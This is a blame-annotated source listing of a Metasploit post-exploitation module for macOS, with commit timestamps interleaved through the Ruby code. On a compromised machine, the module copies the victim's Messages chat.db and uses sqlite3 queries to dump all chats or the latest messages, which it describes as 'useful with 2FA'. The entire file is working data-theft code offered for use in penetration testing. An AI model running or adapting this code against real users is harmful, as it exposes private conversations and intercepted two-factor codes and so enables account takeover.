2016-11-22 02:53:38 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2016-11-22 02:53:38 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'OS X Gather Messages',
|
|
|
|
'Description' => %q{
|
2016-11-28 23:12:07 +00:00
|
|
|
This module will collect the Messages sqlite3 database files and chat logs
|
|
|
|
from the victim's machine. There are four actions you may choose: DBFILE,
|
|
|
|
READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
|
|
|
|
LATEST will retrieve the last X number of messages (useful with 2FA). Module
|
|
|
|
was tested with OS X 10.11 (El Capitan).
|
2016-11-22 02:53:38 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2016-11-28 23:12:07 +00:00
|
|
|
'Author' => ['Geckom <geckom[at]redteamr.com>'],
|
|
|
|
'Platform' => ['osx'],
|
|
|
|
'SessionTypes' => ['meterpreter', 'shell'],
|
2016-11-22 02:53:38 +00:00
|
|
|
'Actions' =>
|
|
|
|
[
|
2016-11-28 23:12:07 +00:00
|
|
|
['DBFILE', 'Description' => 'Collect Messages DB file'],
|
|
|
|
['READABLE', 'Description' => 'Collect Messages DB and download in a readable format'],
|
|
|
|
['LATEST', 'Description' => 'Collect the latest message'],
|
|
|
|
['ALL', 'Description' => 'Collect all Messages data']
|
2016-11-22 02:53:38 +00:00
|
|
|
],
|
|
|
|
'DefaultAction' => 'ALL'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
|
2016-11-28 23:12:07 +00:00
|
|
|
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])
|
|
|
|
]
|
|
|
|
)
|
2016-11-22 02:53:38 +00:00
|
|
|
end
|
|
|
|
|
2016-11-28 23:12:07 +00:00
|
|
|
def run
|
|
|
|
if datastore['USER']
|
|
|
|
user = datastore['USER']
|
|
|
|
else
|
|
|
|
user = cmd_exec('/usr/bin/whoami')
|
|
|
|
end
|
|
|
|
|
|
|
|
# Check file exists
|
|
|
|
messages_path = "/Users/#{user}/Library/Messages/chat.db"
|
|
|
|
if file_exist?(messages_path)
|
|
|
|
print_good("#{peer} - Messages DB found: #{messages_path}")
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Check messages. And then set the default profile path
|
|
|
|
unless messages_path
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
|
|
|
|
end
|
|
|
|
|
|
|
|
print_good("#{peer} - Found Messages file: #{messages_path}")
|
|
|
|
|
|
|
|
files = []
|
|
|
|
|
|
|
|
# Download file
|
|
|
|
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
|
|
|
|
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
|
|
|
|
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
|
|
|
|
|
|
|
|
save(files)
|
|
|
|
end
|
2016-11-22 02:53:38 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Collect messages db file.
|
|
|
|
#
|
|
|
|
def get_db(messages_path)
|
|
|
|
print_status("#{peer} - Looting #{messages_path} database")
|
|
|
|
message_data = read_file(messages_path)
|
|
|
|
{filename: 'messages.db', mime: 'bin', data: message_data}
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generate a readable version of the messages DB
|
|
|
|
#
|
|
|
|
def readable(messages_path)
|
|
|
|
print_status("#{peer} - Generating readable format")
|
2016-11-24 01:27:03 +00:00
|
|
|
sql = [
|
|
|
|
'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',
|
|
|
|
'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',
|
|
|
|
'usr.id || ": " || m.text, a.filename',
|
|
|
|
'FROM chat as c',
|
|
|
|
'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',
|
|
|
|
'INNER JOIN message AS m ON m.ROWID = cm.message_id',
|
|
|
|
'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',
|
|
|
|
'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',
|
|
|
|
'INNER JOIN handle usr ON m.handle_id = usr.ROWID',
|
|
|
|
'ORDER BY m.date;'
|
|
|
|
]
|
|
|
|
sql = sql.join(' ')
|
2016-11-28 23:12:07 +00:00
|
|
|
readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
|
2016-11-22 02:53:38 +00:00
|
|
|
{filename: 'messages.txt', mime: 'text/plain', data: readable_data}
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generate a latest messages in readable format from the messages DB
|
|
|
|
#
|
|
|
|
def latest(messages_path)
|
|
|
|
print_status("#{peer} - Retrieving latest messages")
|
2016-11-24 01:27:03 +00:00
|
|
|
sql = [
|
|
|
|
'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',
|
|
|
|
'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',
|
|
|
|
'usr.id || ": " || m.text, a.filename',
|
|
|
|
'FROM chat as c',
|
|
|
|
'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',
|
|
|
|
'INNER JOIN message AS m ON m.ROWID = cm.message_id',
|
|
|
|
'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',
|
|
|
|
'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',
|
|
|
|
'INNER JOIN handle usr ON m.handle_id = usr.ROWID',
|
|
|
|
"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"
|
|
|
|
]
|
|
|
|
sql = sql.join(' ')
|
2016-11-28 23:12:07 +00:00
|
|
|
latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
|
2016-11-22 02:53:38 +00:00
|
|
|
print_good("#{peer} - Latest messages: \n#{latest_data}")
|
|
|
|
{filename: 'latest.txt', mime: 'text/plain', data: latest_data}
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Do a store_root on all the data collected.
|
|
|
|
#
|
|
|
|
def save(data)
|
|
|
|
data.each do |e|
|
|
|
|
e[:filename] = e[:filename].gsub(/\\ /,'_')
|
|
|
|
p = store_loot(
|
|
|
|
e[:filename],
|
|
|
|
e[:mime],
|
|
|
|
session,
|
|
|
|
e[:data],
|
|
|
|
e[:filename])
|
|
|
|
|
|
|
|
print_good("#{peer} - #{e[:filename]} stored as: #{p}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|